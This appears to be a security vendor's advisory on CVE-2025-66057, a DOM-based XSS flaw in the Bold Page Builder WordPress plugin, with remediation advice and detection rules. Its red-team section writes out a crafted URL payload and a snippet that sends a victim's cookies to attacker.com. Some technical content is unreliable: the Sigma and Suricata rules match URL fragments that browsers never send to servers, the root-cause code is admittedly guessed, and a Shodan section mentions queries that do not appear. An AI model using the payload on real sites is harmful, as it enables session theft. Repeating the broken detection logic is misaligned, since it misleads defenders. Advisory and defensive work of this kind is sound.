CVE-2025-66057
Executive Summary
CVE-2025-66057 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Bold Page Builder WordPress plugin, developed by Boldthemes. This flaw allows an attacker to inject malicious scripts into web pages generated by the plugin, which then execute in the context of the victim's browser. The vulnerability affects all versions of the plugin up to and including 5.5.2. As of this report, no official patch has been released, and the vendor's patch status is unknown. The attack vector is network-based, requires user interaction, and has a CVSS score of 6.5 (Medium). Given that this is a WordPress plugin, the attack surface is broad, potentially affecting thousands of sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the Bold Page Builder plugin. It is not an NPM, PyPI, Go, or Ruby package. The risk is amplified by the plugin's distribution through the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin via the WordPress admin dashboard or manually are affected. The lack of a patch means that supply chain security relies on the vendor's responsiveness; currently, no updated package is available.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: Medium. While the CVSS score is moderate, the widespread use of WordPress and the plugin's popularity elevate the risk. DOM-Based XSS can be used for session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The vulnerability is a DOM-Based Cross-Site Scripting flaw in the Bold Page Builder plugin. Unlike reflected or stored XSS, DOM-Based XSS occurs entirely on the client side. The plugin's JavaScript code improperly handles user-supplied input (e.g., via URL fragments, document.referrer, or window.name) and writes it directly into the DOM without sanitization.
Mechanism:
- The plugin's JavaScript reads a value from an untrusted source (e.g.,
location.hash,document.URL). - This value is used to dynamically generate HTML content (e.g., via
innerHTML,document.write, or jQuery's.html()). - An attacker crafts a URL containing a malicious payload (e.g.,
#<img src=x onerror=alert(1)>). - When a victim visits the crafted URL, the plugin's script injects the payload into the DOM, causing the browser to execute the attacker's JavaScript.
Root Cause: The plugin fails to validate or encode input before using it in DOM manipulation functions. The bold-page-builder JavaScript file likely contains code similar to:
var userInput = window.location.hash.substring(1);
document.getElementById('some-element').innerHTML = userInput;
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. A patched version would include input validation and output encoding.
Vulnerable Code (Conceptual):
// Vulnerable: Directly uses user input in innerHTML
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
Patched Code (Conceptual):
// Patched: Sanitize input before DOM insertion
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('output').textContent = sanitized;
// Or use textContent instead of innerHTML
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Bold Page Builder <= 5.5.2 installed.
- A victim user with a modern browser.
Exploit Steps:
- Identify a page that uses the vulnerable plugin (e.g., a page with a dynamic element).
- Craft a malicious URL:
https://victim-site.com/page/#<img src=x onerror=alert(document.cookie)> - Send the URL to the victim via phishing email, social media, or other means.
- When the victim clicks the link, the plugin's JavaScript executes the payload, displaying an alert with cookies.
Advanced Payload:
// Steal cookies and send to attacker
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing suspicious URL fragments (e.g.,
<script,onerror,onload). - Use browser-based XSS filters (e.g., X-XSS-Protection header).
- Implement Content Security Policy (CSP) to restrict script execution.
Mitigation:
- Disable or remove the Bold Page Builder plugin until a patch is available.
- Use a Web Application Firewall (WAF) to block malicious payloads.
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Patterns: URLs containing
#<script,#<img,#onerror,#onload, or other HTML event handlers. - Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
- Browser Console: JavaScript errors or unexpected alerts.
- File Hashes: The vulnerable plugin file
bold-page-builder.js(version <= 5.5.2) with MD5 hashUNKNOWN(not provided).
Detection Engineering
YARA Rule
rule CVE_2025_66057_DOM_XSS {
meta:
description = "Detects DOM-Based XSS in Bold Page Builder plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66057"
strings:
$vuln_func1 = "innerHTML" nocase
$vuln_func2 = "document.write" nocase
$vuln_src1 = "location.hash" nocase
$vuln_src2 = "document.URL" nocase
condition:
all of ($vuln_func*) and any of ($vuln_src*)
}
Sigma Rule
title: CVE-2025-66057 DOM-Based XSS in Bold Page Builder
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of DOM-Based XSS in Bold Page Builder plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '#<script'
- '#<img'
- '#onerror'
- '#onload'
condition: selection
falsepositives:
- Legitimate use of hash fragments
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66057 DOM-Based XSS Attempt"; flow:to_server; content:"#<script"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66057 DOM-Based XSS Attempt"; flow:to_server; content:"#<img"; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66057 DOM-Based XSS Attempt"; flow:to_server; content:"#onerror"; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and remove Bold Page Builder from all WordPress installations until a patch is released.
- Apply virtual patching: Use a WAF to block requests containing suspicious hash fragments (e.g.,
#<script,#<img). - Implement CSP: Add the following header to block inline scripts:
Content-Security-Policy: script-src 'self'; object-src 'none';
Long-Term Fix:
- Monitor the vendor's website (boldthemes.com) for an official patch.
- Once patched, update the plugin to the latest version.
- Conduct a security audit of all WordPress plugins.
Valters IT – Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.